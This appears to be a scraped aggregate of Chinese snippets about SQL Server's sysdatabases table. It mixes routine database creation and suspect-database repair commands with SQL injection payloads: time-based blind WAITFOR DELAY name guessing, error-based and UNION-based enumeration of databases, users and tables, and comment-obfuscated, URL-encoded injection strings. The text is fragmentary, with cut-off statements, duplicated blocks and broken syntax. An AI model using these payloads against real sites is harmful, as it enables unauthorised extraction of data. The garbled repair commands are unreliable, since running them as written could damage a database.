2.猜测数据库名 猜测数据库名是否存在 if ((select count(*) from master.dbo.sysdatabases where dbid=5)=1) waitfor delay 根据dbid猜库名,先猜出长度 if ((select count(*) from master.dbo.sysdatabases where dbid=5 and len(name)=4)=1) waitfor 同理猜解dbid6(saulgoodman)的长度可以用这条语句: if ((select count(*) from master.dbo.sysdatabases where dbid=6 and 4这个数据库是test,那么我们就可以来一个一个的猜解他的数据库名: 猜解第一个字符:t if (ascii(substring((select top 1 name from master.dbo.sysdatabases 1,1)) = 116) WAITFOR DELAY '0:0:3'-- 猜解第二个字符:e if (ascii(substring((select top 1 name from master.dbo.sysdatabases
'allow updates', 1 --调用存储过程sp_configure,将allow属性设置为1 reconfigure with override --变成可以覆盖写 update sysdatabases set status= 32768 where name = '数据库名' --更新sysdatabases表,将status的值设置为32768 ,条件是name='数据库名' DBCC REBUILD_LOG ('数据库名', 'Z:\data\数据库新日志名.LDF') --重建日志,选重命名原数据库日志 update sysdatabases set status =28 where name='数据库名 ' --更新sysdatabases表,将status的值设置为28 ,条件是name='数据库名' go sp_configure 'allow updates',0 --调用存储过程sp_configure
go select name,reverse(substring(reverse(filename),charindex(‘\’,reverse(filename)),1000)) from sysdatabases –2.启动sql 服务 use master go sp_configure ‘allow update’,1 reconfigure with override go update sysdatabases rebuild_log(‘数据库名称’,’d:\MSSQL\data\数据库名称.log’) –最好在原路径上面吧.文件夹一点要原来就存在,不然会提示错误. go use master update sysdatabases
id=1 and (select count(*) from master.dbo.sysdatabases where dbid=5)=1 ? id=1 and (select count(*) from master.dbo.sysdatabases where dbid=6)=1 ? 查询dbid7的话就会返回错误:因为它不存在 ? id=1 and (select count(*) from master.dbo.sysdatabases where dbid=5 and len(name)=4)=1 ? id=1 and (select count(*) from master.dbo.sysdatabases where dbid=6 and len(name)=11)=1 ? 依次查询: 第二个字符:e and ascii(substring((select top 1 name from master.dbo.sysdatabases where dbid=5),2,1))
master go sp_configure ’allow updates’,1 go reconfigure with override go F.设置test为紧急修复模式 update sysdatabases 注意修改其中的数据库名) USE MASTER GO SP_CONFIGURE ’ALLOW UPDATES’,1 RECONFIGURE WITH OVERRIDE GO UPDATE SYSDATABASES 置疑的数据库名’ Go sp_dboption ’置疑的数据库名’, ’single user’, ’true’ Go DBCC CHECKDB(’置疑的数据库名’) Go update sysdatabases 允许多系统目录进行直接修改 3、停止SQL Server 4、用原mdf文件覆盖新建库的数据库文件 5、重启SQL Server(这时数据库应该是置疑) 6、将数据库置为紧急状态:update master.dbo.sysdatabases 8、数据库重新启动,然后再还原数据库状态用以下语句 update master.dbo.sysdatabases set status = 16 where name = dbname
⒊MSSQL三个关键系统表 sysdatabases系统表:Microsoft SQL Server 上的每个数据库在表中占一行。 最初安装 SQL Server 时,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。 用select * from master.dbo.sysdatabases 就可以查询出所有的库名。
use master '设置当前数据库为master,以便访问sysdatabases 表,因为master数据库中的sysdatabases存放了所有数据库清单 go '判断当前数据库系统中是否存在自己要新建的数据库,如果是就要删除 if exists (select * from sysdatabases where name=’myCharge’) drop database myCharge go create database mySQL on
, Size=10MB, MaxSize=20MB, FileGrowth=1MB ) GO 查询语句相关操作,与一般的数据库相差不大: SELECT * FROM master.dbo.sysdatabases 比较有意思的用法:if else IF EXISTS(SELECT * FROM master.dbo.sysdatabases WHERE name = 'TestData') BEGIN
并执行修复语句: sp_configure ‘allow’, 1 reconfigure with override RECONFIGURE WITH OVERRIDE update sysdatabases DBCC REBUILD_LOG (‘ICYQSHSF’,’D:\XXXX\XXXX\ICYQSHSFLOG.LDF’) //路径为新建库的路径,把原LDF文件改名再执行该语句 update sysdatabases
再 SqlServer2000 update sysdatabases set status=-32768 where dbid=DB_ID('test') SqlServer2005 用上面的语句会提示 go sp_configure 'allow updates',1 go reconfigure with override go select * from sysdatabases
(创建/修改/删除)数据库 2、使用SQL语句(创建/修改/删除)数据库 下面是代码实现以上功能: -- 判断数据库是否存在,若存在删除数据库 if exists(select *from sysdatabases name='std') drop database std -- 创建默认数据库名称 create database std 另查询数据库 -- 查询数据库里面的所有数据库 select *from sysdatabases -- 创建数据库(主数据文件.mdf,次数据文件.ndf,日志文件.ldf) if exists(select *from sysdatabases where name='sdb2') drop database filename='F:\sdb2.ldf', size=8mb, maxsize=50mb, filegrowth=8mb ) -- 查找删除数据库 if exists(select *from sysdatabases
[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo]. [sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0-- 爆表语句,somedb部份是所要列的数据库,红色数字1累加 [Copy to clipboard
如果要在MSSQL中实现相似的功能,可以使用top -- 查询前1条数据 select top 1 name from master..sysdatabases -- 查询前2条数据 select top 2 name from master..sysdatabases -- 查询第3条数据 -- 这里使用嵌套语法,查询第1条不存在于前2条的数据,即查询第3条数据。 也就是先排除前2条数据再查询第1条,即原来表中的第3条 select top 1 name from master..sysdatabases where name not in (select top 2 name from master..sysdatabases) 爆表 xtype='U'代表是用户定义的表 库名..sysobjects是库名.dbo.sysobjects的简写 select name
filename='E:\project\E_market_log.ldf',--物理文件名 size=5MB,--初始大小 filegrowth=0--未启用增长率 ) go SELECT * FROM sysdatabases --查询sysdatabases表 创建多个数据库和多个日志文件,语句如下: use master --指向当前操作的数据库 go create database E_market on primary
IF exists(select * from sysdatabases where name='E_market') --检查E_market数据库是否存在,如果存在将执行删除数据库动作 drop database E_market--删除数据库 go select * from sysdatabases [box style=”info”] 第一种方法: 此方法将直接执行删除数据库命令
服务 运行以下命令 sp_configure ‘allow’ ,1 reconfigure with override update sysdatabases =32768 where name=’Geb’ dbcc rebuild_log(‘Geb’,’d:\database\newlog.ldf’) update sysdatabases
2.mssql 数据库 MSSQL的SQL注入附录: #枚举数据库: 获取当前用户名 id=12 union select null, null, user, null from master..sysdatabases 获取数据库列表 id=12 union select null, null, name,null from master..sysdatabases 获取当前数据库名 id =12 union select null,null,db_name(),null from master..sysdatabases; 获取表名: Id=12 union select null,null,name,null from
2.mssql 数据库 MSSQL的SQL注入附录: #枚举数据库: 获取当前用户名 id=12 union select null, null, user, null from master..sysdatabases 获取数据库列表 id=12 union select null, null, name,null from master..sysdatabases 获取当前数据库名 id =12 union select null,null,db_name(),null from master..sysdatabases; 获取表名: Id=12 union select null,null,name,null from
id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4) ? 对于 master..sysdatabases 这个意思是这样的:在mssql系统默认数据库master 的系统视图里有这些: ? ? 懂我意思吧? id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4 and name !='test') ? id=1 and 1=(select top 1 name from master..sysdatabases where dbid>5) ? id=1 and 1=(select name from master..sysdatabases for xml path) ?
id=1%20and%20%201=(select%20top%201%20name%20%20from%20%20master..sysdatabases) ? id=1%20and%20%201=(select%20top%201%20name%20%20from%20%20master..sysdatabases%20where%20%20name%20%20not id=1%20and%20%201=(select%20top%201%20name%20%20from%20%20master..sysdatabases%20where%20%20name%20%20not id=1%20and%20%201=(select%20top%201%20name%20%20from%20%20master..sysdatabases%20where%20%20name%20%20not